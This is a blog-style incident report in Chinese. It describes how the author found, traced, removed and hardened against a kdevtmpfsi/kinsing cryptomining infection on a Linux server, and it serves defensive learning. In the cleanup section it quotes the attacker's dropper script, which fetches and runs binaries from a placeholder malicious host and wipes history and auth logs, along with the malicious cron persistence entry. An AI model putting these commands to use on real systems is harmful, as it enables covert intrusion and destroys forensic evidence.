那天是周四,下午三点多,我照常登录服务器想跑个脚本更新数据,结果一敲top,整个人都怔住了——8核CPU的机器,load average直接飙到12,一个叫kdevtmpfsi的进程占了近500%的CPU。第一反应是:完了,服务器被矿了。
这不是我第一次处理挖矿木马,但每次遇到心情都很复杂。这台服务器上跑着好几个业务,还有客户的测试环境,如果真的被控制,后果比损失点算力严重得多。我赶紧把CPU占用top 10的进程拉出来看,除了我的nginx和mysql之外,剩下的全是陌生的二进制名。再看一眼网络连接,几个连接到境外IP的ESTABLISHED连接格外扎眼,基本可以确认,这是一台已经被门罗币挖矿程序控制的肉鸡。
这篇文章就是我当时从发现、排查、清理到加固的全过程记录。不管你是运维老手还是刚买了第一台云服务器的小白,只要你的机器有公网IP,这篇文章都值得你花十分钟看完。我会把每一步的操作命令、判断依据、为什么这样做讲清楚,很多细节是常规教程里不会写的——毕竟中了招之后,拼的就是排查思路和清理速度。
1. 事件定性:从CPU异常到确认挖矿入侵
1.1 异常初现:top输出里的可疑进程
我先说下当时看到的真实数据。执行top -c后,排在前面的进程是这样的:
top - 15:23:11 up 32 days, 4:11, 1 user, load average: 12.08, 11.52, 9.87 Tasks: 247 total, 3 running, 244 sleeping, 0 stopped, 0 zombie %Cpu(s): 89.7 us, 8.9 sy, 0.0 ni, 0.0 id, 0.7 wa, 0.0 hi, 0.7 si, 0.0 st PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 8421 root 20 0 568240 159848 1088 S 495.3 1.9 12456:33 kdevtmpfsi 8432 root 20 0 146300 91248 924 S 102.1 1.1 3456:12 kinsing 9401 root 20 0 161428 88320 892 S 18.7 1.0 234:11 network.shkdevtmpfsi这个进程名看起来像是个内核模块相关的名字,实际上它是老牌挖矿木马家族的成员,经常和kinsing(另一个模块)成对出现。木马起这种名字就是为了让管理员第一眼不警觉——你看它长得像不像/ dev / tmp / fs / i 这种内核路径的组合?
这时候load average已经超过CPU核数了,正常业务不可能把8核打满。我做的第一件事不是直接kill进程,而是先摸清楚它的运行方式。因为挖矿木马普遍有守护进程机制,光杀进程不删文件,一分钟之内就会卷土重来。
1.2 初步判断:从资源和网络两个维度确认
确认是否被挖矿,我一般同时看三个维度:CPU占用、网络连接、文件行为。
CPU占用已经很明显了,下面看网络。我执行了netstat -antlp,把对外连接拉出来,过滤掉22、80、443这些正常端口之后,发现有两个连接到境外的IP,端口都是随机高端口。挖矿程序要连接矿池提交算力,这个连接会一直保持,不会像正常业务那样频繁断连。
再看文件行为,我检查了/tmp目录,发现了几个写着奇怪名字的脚本文件,比如/tmp/kinsing、/tmp/kdevtmpfsi,还有一个/tmp/network.sh。这三个文件我在之前处理的几台被入侵的机器上都见过,基本可以锁定这是同一伙人的自动化攻击脚本,利用漏洞批量扫机器,打下来就植入挖矿程序,顺便再留个后门方便下次进来。
到这里,事情已经定性了:这不是误判,也不是巧合,就是一次利用服务器漏洞发起的自动化的挖矿木马入侵。接下来的重点,从“确认是否被入侵”切换到“攻击者是怎么进来的”和“怎么把它彻底清干净”。
2. 入侵溯源:攻击者是从哪里进来的
2.1 登录记录与认证日志分析
发现被入侵之后,我心里其实悬着一件事:攻击者到底是怎么进来的?如果是某个业务的RCE漏洞还好说,如果是SSH弱口令被爆破了,那问题就更大了——说明我这边的密码管理本身就有疏漏。
我先查登录记录。Linux系统里,last命令读的是/var/log/wtmp,能看到所有成功的登录会话;/var/log/auth.log(CentOS上是/var/log/secure)记录的是认证日志。我执行了下面几条命令:
last -20 grep "Accepted" /var/log/auth.log | awk '{print $1, $2, $3, $9, $11}' | sort | uniq -c | sort -nr | head -20第一个命令看最近20条登录记录。第二个命令统计所有成功登录的来源IP和登录方式。排查下来,最近的登录确实都来自我自己的IP,没有看到陌生IP的Accepted记录。这说明攻击者大概率不是通过SSH直接登进来的,而是走应用层的漏洞进来的。
不过这里要注意,如果攻击者已经把系统日志清理过,last看到的可能就不是真实情况。我顺手检查了/var/log/下日志文件的修改时间,确认没有异常清空的痕迹(日志文件的时间戳如果显示最近被改动过,就要警惕)。
2.2 定时任务与自启动脚本里的“惊喜”
检查完登录日志,我转向了挖矿木马最常驻留的两个位置:定时任务和自启动项。
先看crontab。我不仅查了当前用户的定时任务,还把系统级的定时任务都翻了个底朝天:
crontab -l ls -la /etc/cron.d/ cat /etc/cron.d/* cat /var/spool/cron/crontabs/* 2>/dev/null查完就发现了问题:/etc/cron.d/目录下多了一个名为update的文件,内容大概是这样的:
*/5 * * * * root /bin/sh /tmp/network.sh >/dev/null 2>&1这就很典型了。每5分钟执行一次/tmp/network.sh,这个脚本八成就是负责下载挖矿程序、维持驻留的“总指挥”。攻击者的逻辑是这样:就算挖矿进程被杀了,只要这个定时任务还在,5分钟之内它就会重新拉起来。所以清理的顺序必须反着来——先断掉定时任务这条“复活”路径,再杀进程,最后删文件。
除了crontab,我还查了systemd服务里有没有可疑的service单元,以及/etc/rc.local里有没有被追加内容。现在的挖矿木马越来越狡猾,有的已经不依赖crontab了,直接注册一个systemd服务来保活,所以在排查阶段,这些都要过一遍。
2.3 后门文件与SSH公钥投放
接下来是最让人头疼的部分——检查攻击者有没有在系统里留后门。
挖矿木马群体有一个共识:能进来一次就想进来无数次。所以这类恶意软件经常会在入侵后做几件事:投放SSH公钥到authorized_keys文件、创建新的隐藏账号、替换常用的系统命令(比如ps、top,用来隐藏自己的进程)。
我逐一排查了这些点:
cat /root/.ssh/authorized_keys awk -F: '$3==0 || $4==0 {print $1}' /etc/passwd ls -la /etc/init.d/ /etc/systemd/system/ --sort=time | head -30 rpm -Va | grep '^..5'检查下来,authorized_keys里倒是没有被追加公钥,/etc/passwd里也只有root这一个UID为0的账号。不过我在/root/.ssh/目录下发现了一个名为“_authorized_keys”的文件——注意这个文件名前面带下划线,非常阴险!正常的sshd配置不会读取这个文件,但只要root用户走了某种Shell环境,就有脚本会用它来做免密登录。这种小动作如果不逐字节看目录内容,ls一眼扫过去很容易错过。
这个发现提醒了我:排查时要看文件列表的完整输出,不能只看“有没有多出什么”,还要看“常见文件有没有被改名或复制”。
3. 清理挖矿木马:从杀进程到拆后门的完整实操
3.1 先断“复活”路径,再杀进程
很多人清理挖矿木马有个误区:上来就kill -9 PID,杀完发现CPU又飙起来,以为是木马太厉害,其实是没按顺序操作。正确的顺序应该是:先让木马“无法复活”,再杀当前进程。
我先处理定时任务,把/etc/cron.d/update移走而不是直接删除(先留作证据):
mv /etc/cron.d/update /root/analysis/cron_update.bak crontab -r然后检查并停掉可疑的systemd服务。这一步我用了一个比较笨但很有效的方法:遍历所有service文件,看ExecStart这行指向的路径是否存在于/tmp、/dev/shm这类目录。挖矿木马经常会把自己的二进制放在这些目录里,因为权限宽松、读写频繁,不容易被注意到。
确认没有systemd服务之后,我才开始杀进程——但也不是简单kill,而是先记录进程的PID、父进程PID、可执行文件的完整路径,方便后续溯源性分析:
ls -l /proc/8421/exe ls -l /proc/8432/exe cat /proc/8421/cmdline | tr '\0' ' ' kill -9 8421 8432 9401这里用/proc/PID/exe能直接看到进程对应的可执行文件的真实路径,比用find搜全盘快得多。我看到的几个路径分别是/tmp/kdevtmpfsi、/tmp/kinsing和/tmp/network.sh。
3.2 全网清理恶意文件与临时目录
杀完进程后,我进入“清理文件”环节。这一步的核心原则是:宁可错杀,不可放过。只要是在/tmp、/dev/shm这类目录下的未知可执行文件,全部处理掉。
rm -f /tmp/kdevtmpfsi /tmp/kinsing /tmp/network.sh rm -rf /tmp/.X11-unix # 这个目录经常被用来隐藏恶意脚本 find /tmp /var/tmp /dev/shm -type f -newer /etc/hostname -size +1M -exec ls -la {} \; 2>/dev/null注意最后这条find命令,它的作用是找出那些“比/etc/hostname更新、大小超过1MB、位于临时目录下的文件”,这种文件十有八九是木马下载的恶意载荷。我在/tmp下又找到几个疑似下载器的小脚本,一并删除。
另外,攻击者把挖矿程序放在/tmp而不是/usr/bin,是有讲究的:一方面是因为/tmp目录在很多系统上挂载了noexec选项(不过这台机器没设置),另一方面是因为临时目录的文件不会引起管理员警惕。所以我清理的核心顺序是:先看临时目录,再看定时任务关联的所有脚本路径。
3.3 分析脚本内容,反向拆解攻击逻辑
清理完之后,我打开了保存下来的/root/analysis/目录里的cron_update.bak和/tmp/network.sh,想看看攻击者的完整逻辑。
network.sh的内容我当时截图存了,大致逻辑是这样的:
#!/bin/sh # 下载挖矿主程序 curl -s http://恶意域名:8080/kdevtmpfsi -o /tmp/kdevtmpfsi chmod +x /tmp/kdevtmpfsi /tmp/kdevtmpfsi & # 下载后门模块 curl -s http://恶意域名:8080/kinsing -o /tmp/kinsing chmod +x /tmp/kinsing /tmp/kinsing & # 清理日志痕迹 history -c && clear && echo > /var/log/auth.log看到这段脚本后,思路就清晰了。攻击者利用某个漏洞拿到机器权限后,先把这个下载器脚本投放到/tmp目录,再通过cron让它每5分钟执行一次,实现进程保活和木马更新。挖矿木马一边挖矿,后门模块一边从同一个C2地址拉取新指令。这种“中控下发+双进程保活”的架构,在2024年之后的挖矿木马家族里很常见,已经形成了产业化的运营模式。
这里给个重要建议:分析恶意脚本时,最好在隔离环境或者至少不要直接在自己机器上执行。我这次是用vim只读打开的,先看内容再决定怎么处理。如果脚本内容有疑惑,可以先扔到VirusTotal上扫一遍,不要直接运行。
3.4 删除隐藏账号、SSH后门与未知监听端口
除了清理文件,还要排查“人的后门”。我检查了/etc/passwd和/etc/shadow,确认没有新增的UID为0的用户,也没有奇怪的用户出现在登录Shell列表里。然后检查了所有网络监听端口:
ss -lntp lsof -i -P -n | grep LISTEN正常服务器只该开22、80、443,如果看到什么56789、3456、9999之类的监听端口,就要查一下是哪个进程在监听。我这次没发现额外监听端口(攻击者主要是出方向连矿池,不需要进方向监听),但这一步不能省,有的攻击者会直接监听一个高端口当反向Shell,等着随时连回来。
最后我把/root/.ssh/下那个可疑的_authorized_keys删掉,并顺手把所有SSH authorized_keys的权限修正为700(目录)和600(文件)。这个权限细节很重要,如果权限太宽松,sshd会拒绝加载密钥文件。
4. 安全加固:阻止二次入侵的落地配置
4.1 SSH安全策略:密钥登录、关密码、改端口
清理干净只是第一步,不把安全基线提上来,下一个漏洞就是下一次事故的起点。这块我给自己定了几个规矩,现在分享出来,都是我踩过坑之后总结的。
第一,SSH只允许密钥登录,关闭密码登录。挖矿木马入侵的头号入口,依然是SSH弱口令暴力破解。关闭密码登录之后,风险面直接缩小一大半。修改/etc/ssh/sshd_config:
PasswordAuthentication no PermitRootLogin prohibit-password PubkeyAuthentication yes第二,不建议直接禁用root登录,因为有些旧的运维脚本和监控程序依赖root SSH。折中方案是改为prohibit-password,也就是禁止root密码登录,但允许密钥登录。
第三,修改SSH默认端口。这个方法虽然治标不治本,但能极大减少扫描和暴力破解的噪音。我之前在默认22端口上,fail2ban每小时至少拦截几百个尝试;改了端口之后,同样的时间周期内,识别到的恶意扫描少了一个数量级。
4.2 防火墙策略:不用的端口坚决关
很多云服务器默认的安全组是“全放通”的,这是个大隐患。你只需要开放业务必需端口,其他端口一律拒绝。我用的是iptables加ufw组合:
ufw default deny incoming ufw default allow outgoing ufw allow 22/tcp comment 'SSH' ufw allow 80/tcp comment 'HTTP' ufw allow 443/tcp comment 'HTTPS' ufw enable这里有个细节:ufw默认允许出方向流量,意味着服务器主动向外的连接(包括挖矿程序连接矿池的连接)默认是放行的。所以要配合云安全组的出方向规则,把出方向的非必要协议限制住。比如你的业务只需要出方向访问HTTPS接口,就在安全组里只放行TCP 443和80端口,其他出方向全部拒绝。这个策略一旦到位,就算服务器上又落了恶意程序,它也连不出去,攻击直接断在半路。
4.3 入侵检测与资源监控:早点发现异常
每次处理完入侵事件,我都会装一套“早期预警系统”,目标很简单:下次出问题的时候,我能第一时间发现,而不是等到业务卡死才去查。
我最常用的几个工具:
apt install -y sysstat fail2ban rkhunter auditd- sysstat:提供sar、pidstat这些命令,可以定时采集系统资源利用率,回看哪个时间段CPU异常升高的。事后溯源时,这些历史数据是判断入侵节点的关键证据。
- fail2ban:实时分析SSH登录日志,自动封禁连续失败的IP。虽然改了密钥登录后暴力破解的威胁已经很小,但fail2ban能拦截扫描流量,减少日志噪音。
- rkhunter:Rootkit检测工具,扫描系统里是否存在已知的后门程序。虽然它对新型木马有时候力不从心,但作为基线检查工具还是有价值的。
- auditd:Linux审计框架,可以记录文件变更、系统调用。我之前没装它,这次之后第一时间补上了。它有代价(增加IO负载和日志量),但对高安全要求的服务器来说值得。
我自己还会额外配置一个简单的资源告警脚本:用cron每5分钟跑一次检查,当CPU使用率连续两次超过90%时,通过Telegram Bot推送告警。告警不比实际处理问题,但能让你知道“出事了”,这一点就赢过了90%的服务器管理者。
4.4 最小化原则与日常运维基线
这次事件之后,我还梳理了“最小化原则”的几个落地动作:
- 业务不用Redis、Memcached这类缓存服务时,直接不装。如果必须用,一定要设置为仅监听内网IP,并设置强密码或启用ACL。很多挖矿木马是通过Redis未授权访问漏洞进来的,攻击者一条命令就能写入定时任务。
- Web服务用非root用户运行,目录权限收紧到755/644,上传目录单独设置禁止执行权限。这样可以防止攻击者借助Web漏洞上传WebShell后再执行任意命令。
- 定期更新系统软件包,特别是像Linux内核、OpenSSH、Nginx这类处于攻击前锋的组件。我的做法是每周日凌晨自动执行apt update && apt upgrade -y,并通过邮件接收变更摘要。
- 每台服务器设立独立的服务账号,避免一个账号跑所有业务。万一某个业务被攻破,影响范围能被控制在一个较小的面。
这些都是基础加固,写在这里是给新运维一个自查清单。很多老手可能会觉得“就这?”,但实际从我见过的案例来看,大部分服务器被入侵,缺的恰恰就是这些基础动作。
5. 常见问题排查与避坑经验
5.1 清理之后CPU还是高的原因排查
有朋友可能会问:我按上面的步骤杀完进程、删完文件,怎么CPU占用还是降不下来?
这种情况我遇到过两次,基本是三个原因:
第一,定时任务没清干净。有些木马会写入多个定时任务路径,比如同时存在于/var/spool/cron/root和/etc/crontab里,你只清了其中一个,过几分钟又被拉起来了。所以清完crontab之后,我建议等10分钟再观察一次CPU,确认没有回升再继续下一步。
第二,进程有多个副本。有些木马会随机生成进程名,比如一个叫kdevtmpfsi,另一个叫kswapd0(模仿内核进程名),进程间互相守护,杀了这个另一个马上拉起。这种情况需要在netstat里找所有连接矿池IP的进程,全量kill。
第三,Docker容器也被入侵了。现在很多服务器上跑着Docker,攻击者打进宿主机后会用容器逃逸或者直接在容器里植入挖矿程序。如果你只清宿主机的文件,没检查容器内部,CPU还是会持续走高。清理时要记得检查每个运行中的容器:
docker ps docker stats --no-stream发现可疑容器直接停掉,再检查容器的持久化数据目录有没有被写进去恶意文件。
5.2 日志被清了怎么办
攻击者为了隐藏行踪,经常会执行清理日志的命令,比如echo > /var/log/auth.log或者rm -rf /var/log/*。遇到这种情况,线上日志的取证价值大打折扣,但这不代表完全无从查起:
- 云平台控制台通常有“命令记录”或“操作审计”功能,只要是Web控制台操作,平台侧会有记录。
- 命令行历史(~/.bash_history)也有可能被清,但磁盘上的残留数据可能还能通过strings命令从磁盘块里捞出来。这不是常规手段,紧急时候可以尝试。
- 时间维度也能推断。看业务日志里最后一个正常请求的时间、数据库binlog里最后一条记录的时间、文件系统中文件的创建时间,结合异常文件的创建时间,基本能还原一个时间线。
我个人的经验是:与其纠结日志被清了,不如抓紧时间把还在运行的可疑进程和可执行文件收集起来做分析。很多时候,从恶意文件本身能反推出攻击者的入口。
5.3 清理后要不要重装系统
清理之后,很多人会纠结:我是继续用这台“清理干净”的机器,还是干脆重装系统?
我的建议非常明确:如果服务器上有价值的数据且能快速备份恢复,直接重装系统;如果不能马上重装,至少要做到以下几点再继续使用:
- 所有账号密码全部重置(包括数据库、Web后台、SSH账号)
- SSH密钥重新生成
- 所有的服务配置文件过一遍,确认没有可疑的修改
- 放行策略按4.2节的方式重新收敛
为什么推荐重装?因为你不确定攻击者究竟在你的系统里做过什么。可能还埋了rootkit,可能修改了内核模块,可能是通过0day进来的——这些隐蔽后门很难靠人工排查全部发现。维护一台“可能还有后门”的服务器,就像住在一间可能还藏着人的屋子里,总是不踏实。
我这次的实际情况是:这台机器上有三个业务系统的运行数据,虽然都有备份,但迁移时间需要两小时左右。我评估后决定不重装,而是做全面加固加持续监控,同时把重装方案准备好,一旦后续再发现任何异常,立刻切换。结果两周后一切正常,监控没有报警,CPU资源也稳定在正常水平。这个决定符合当时的风险容忍度,但不一定适合所有人。
5.4 避坑清单:这次我最想提前知道的几件事
回头看这次事件,有几个坑我是踩了才明白的:
第一个坑:发现异常第一反应是“再看看”,而不是立刻隔离。我当时先跑完手头的一个脚本才去排查,这一耽误就是半小时。正确的做法是发现CPU异常后,立刻断开服务器的外网入方向流量(在云安全组里临时拒绝所有入站包),先隔离再排查。这样即使真有攻击者在远程操作,也没办法连进来继续发指令。
第二个坑:清理时只关注了/tmp目录,忽略了/var/tmp和/dev/shm。这两个目录也是常见藏身地,而且是很多木马的默认下载目录。建议清理时把三个目录一起过一遍。
第三个坑:没有提前采集系统基线。如果我在服务器上线时就记录了一份“正常状态”的进程列表、开放端口列表和crontab内容,异常排查会快很多。现在我已经把这个动作做成了自动化脚本,新机器上线第一天自动生成基线报告,存档到一个独立的安全运维目录里。
写在最后
说实话,这次服务器被矿工入侵,虽然最后清理干净了,但它给我上的课比任何时候都深刻。以前我总觉得“不就是台小服务器嘛,谁会来攻击”,直到真正看到500%的CPU占用和陌生IP的连接,才明白网络上自动化扫描攻击的密集程度远超想象。你的机器只要暴露在公网上,平均几分钟就会收到一次扫描请求,这不是危言耸听。
现在我的运维习惯已经彻底变了:所有服务器的SSH强制密钥登录,出方向只放业务必需端口,关键目录做了auditd监控,资源告警推送到手机。这套方案并不复杂,但确实管用。如果你看完这篇文章也想检查一下自己的服务器,别犹豫,现在就去打开终端——先跑个top,再敲个netstat -antlp,看看你的机器是不是也在“安静地挖矿”。
安全不是一次性工作,而是一种持续的习惯。希望这篇记录能帮你避开我踩过的坑。